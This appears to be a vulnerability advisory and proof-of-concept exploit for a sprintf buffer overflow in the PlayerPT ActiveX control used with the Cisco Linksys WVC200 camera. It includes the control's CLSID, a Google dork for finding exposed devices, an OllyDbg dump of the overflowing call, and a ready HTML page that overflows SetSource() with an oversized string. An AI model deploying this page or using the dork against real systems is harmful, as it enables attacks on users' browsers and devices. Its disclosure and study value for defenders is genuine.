Cisco Linksys WVC200 PlayerPT Buffer Overflow

Credit: rgod
Risk: High
Local: Yes
Remote: No
CWE: CWE-119

<!-- Cisco Linksys WVC200 Wireless-G PTZ Internet Video Camera PlayerPT ActiveX Control PlayerPT.ocx sprintf Buffer Overflow Vulnerability when viewing the device web interface it asks to install an ActiveX control with the following settings: ProductName: PlayerPT ActiveX Control Module File version: Binary path: C:\WINDOWS\system32\PlayerPT.ocx CLSID: {9E065E4A-BD9D-4547-8F90-985DC62A5591} ProgID: PLAYERPT.PlayerPTCtrl.1 Safe for scripting (registry): True Safe for initialization (registry): True try this google dork for WVC200: linksys wireless-g ptz inurl:main.cgi Vulnerability: the SetSource() method is vulnerable to a buffer overflow vulnerability. Quickly, ollydbg dump: ... 03238225 8B5424 20 mov edx,dword ptr ss:[esp+20] 03238229 894424 10 mov dword ptr ss:[esp+10],eax 0323822D B9 32000000 mov ecx,32 03238232 33C0 xor eax,eax 03238234 8B72 F8 mov esi,dword ptr ds:[edx-8] 03238237 8DBC24 E8020000 lea edi,dword ptr ss:[esp+2E8] 0323823E F3:AB rep stos dword ptr es:[edi] 03238240 8B3D 0C062603 mov edi,dword ptr ds:[<&MSVCRT.sprintf>] ; msvcrt.sprintf 03238246 52 push edx 03238247 8D8C24 EC020000 lea ecx,dword ptr ss:[esp+2EC] 0323824E 68 48612603 push PlayerPT.03266148 ; ASCII "%s" 03238253 51 push ecx 03238254 FFD7 call edi <---------------boom ... rgod --> <!-- saved from url=(0014)about:internet --> <HTML> <object classid='clsid:9E065E4A-BD9D-4547-8F90-985DC62A5591' id='obj' /> </object> <script> var x=""; for (i=0; i<13999; i++){ x = x + "aaaa"; } obj.SetSource("","","","",x); </script>

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